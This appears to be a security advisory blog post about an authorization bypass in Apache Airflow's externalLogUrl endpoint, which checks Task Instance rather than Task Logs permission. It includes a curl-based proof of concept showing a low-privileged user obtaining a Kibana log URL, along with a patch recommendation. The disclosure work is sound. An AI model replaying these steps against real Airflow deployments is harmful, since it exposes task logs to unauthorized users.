1. Summary
The externalLogUrl endpoint in Airflow’s FastAPI enforces only the weaker Task Instance access permission (TASK_INSTANCE) instead of the intended Task Logs permission (TASK_LOGS). As a result, low-privileged users who are not authorized to view task logs can still obtain external log access URLs.
Whether this URL actually leads to log disclosure depends on the authentication and access control of the external logging backend. In environments where the backend is unauthenticated or weakly authenticated, this behavior enables a practical bypass of Airflow’s log access controls.
2. Description
When Airflow is configured with an external logging backend, it does not return log contents directly. Instead, it provides a URL that allows users to view logs in the external logging system.
Currently, the externalLogUrl API only checks Task Instance access permissions. This allows users without log viewing privileges to retrieve external log URLs, which is inconsistent with the log content API that correctly enforces the Task Logs permission.
Whether the returned URL results in actual log access depends on the authentication policy of the external backend. For example, when Kibana or OpenSearch Dashboards are operated without authentication or with weak authentication, logs become accessible using the returned URL alone.
2.1 Expected Flow
- Log content retrieval and external log URL retrieval should both require the Task Logs permission.
- Users without Task Logs permission should not be able to access any log-related endpoints.
- Providing an external log URL should be treated with the same sensitivity as providing log contents.
2.2 Root Cause
The externalLogUrl endpoint enforces the Task Instance permission instead of the Task Logs permission, resulting in inconsistent authorization policies for the same protected resource (task logs).
Affected code location:
airflow-core/src/airflow/api_fastapi/core_api/routes/public/log.py
The external log URL route:
@task_instances_log_router.get(
"/{task_id}/externalLogUrl/{try_number}",
responses=create_openapi_http_exception_doc([
status.HTTP_400_BAD_REQUEST,
status.HTTP_404_NOT_FOUND
]),
dependencies=[
Depends(requires_access_dag("GET", DagAccessEntity.TASK_INSTANCE))
],
)
def get_external_log_url(...):
...
url = task_log_reader.log_handler.get_external_log_url(ti, try_number)
return ExternalLogUrlResponse(url=url)
In contrast, the log content endpoint correctly enforces Task Logs permission:
@task_instances_log_router.get(
"/{task_id}/logs/{try_number}",
...
dependencies=[
Depends(requires_access_dag("GET", DagAccessEntity.TASK_LOGS))
],
)
def get_log(...):
...
This discrepancy allows users without log access privileges to obtain external log URLs, creating an authorization bypass.
3. Proof of Concept (PoC)
Scenario
Airflow version: 3.1.5
Authentication: FAB auth
External logging backend: Elasticsearch and Kibana
Kibana configuration: unauthenticated, accessible from the internal network
Low-privileged user account: no_logs
Granted permissions: DAGs, DAG Runs, Task Instances, DAG-specific read access
Missing permission: Task Logs
Reproduction Steps
- Authenticate as the low-privileged user:
curl -sS -X POST http://<AIRFLOW_HOST>:8080/auth/token \\
-H'Content-Type: application/json' \\
-d'{"username":"nol","password":"nolpass"}'
- Trigger the DAG and obtain the run_id:
curl -H"Authorization: Bearer <JWT_TOKEN>" \\
"http://<AIRFLOW_HOST>:8080/api/v2/dags/poc_external_log_url/dagRuns"
- Verify that the log content API is blocked:
curl -i -H"Authorization: Bearer <JWT_TOKEN>" \\
"http://<AIRFLOW_HOST>:8080/api/v2/dags/poc_external_log_url/dagRuns/<RUN_ID>/taskInstances/write_log/logs/1"
Expected result:
HTTP/1.1 403 Forbidden
{"detail":"Forbidden"}
- Call the externalLogUrl API:
curl -i -H"Authorization: Bearer <JWT_TOKEN>" \\
"http://<AIRFLOW_HOST>:8080/api/v2/dags/poc_external_log_url/dagRuns/<RUN_ID>/taskInstances/write_log/externalLogUrl/1"
Expected result:
{
"url":"<http://kibana:5601/app/discover#/?_a=(query:(language:kuery,query:'log_id:%22<LOG_ID>%22')>)"
}
- Open the returned URL in a browser.
- Observe task logs in Kibana under the airflow-logs data view.
Example log entry:
log_id: poc_external_log_url-write_log-manual__2025-12-26T14:41:08.892118+00:00--1-1
message: POC externalLogUrl log line
Result
- The log content API is correctly blocked with a 403 response.
- The externalLogUrl API returns a valid external log URL with a 200 response.
- If Kibana is unauthenticated or weakly authenticated, logs are directly accessible via the returned URL.
This confirms a practical bypass of the Task Logs permission.
4. Impact
Low-privileged read-only users who can view DAGs and Task Instances but do not have Task Logs permission can access the externalLogUrl endpoint.
Such users can obtain external log access URLs without proper authorization.
In environments where the external logging backend is unauthenticated or weakly authenticated, this enables direct access to sensitive task execution logs.
As a result, unauthorized users may bypass Airflow’s log access controls and view sensitive operational data.
5. Patch Recommendation
Enforce the Task Logs permission on the externalLogUrl endpoint to align it with log content access controls.
Affected file:
airflow-core/src/airflow/api_fastapi/core_api/routes/public/log.py
Recommended change:
Replace the Task Instance permission check with Task Logs.
This restores consistency in Airflow’s authorization model for log access.
6. Additional Notes
This issue is not merely the result of an unauthenticated external logging backend. The core problem is an inconsistency in Airflow’s internal authorization model.
While the log content endpoint correctly enforces Task Logs permission, the externalLogUrl endpoint grants access using the weaker Task Instance permission, allowing Airflow’s own access control policy to be bypassed.
Even when the external logging backend enforces strong authentication, the issue still results in unauthorized disclosure of log location and identifier information to users without log access privileges.
Unauthenticated or weakly authenticated Kibana and OpenSearch Dashboards deployments are common in real-world internal or VPN-based environments. Relying on external backend authentication shifts responsibility away from Airflow and leads to unsafe default behavior.
As an official Airflow API endpoint, externalLogUrl should consistently enforce Airflow’s own permission model rather than delegating security assumptions to external systems.
'0-day' 카테고리의 다른 글
| CVE-2026-27966 (langflow / cvss 9.8) (0) | 2026.02.28 |
|---|---|
| CVE-2026-28227(discourse / cvss 5.1) (0) | 2026.02.28 |
| CVE-2026-21721(grafana / cvss 8.1) (1) | 2026.01.31 |
| CVE-2025-66514(Nextcloud Mail / cvss 5.4) (0) | 2025.12.27 |
| CVE-2025-66558(nextcloud twofactor_webauthn / cvss 3.1) (0) | 2025.12.27 |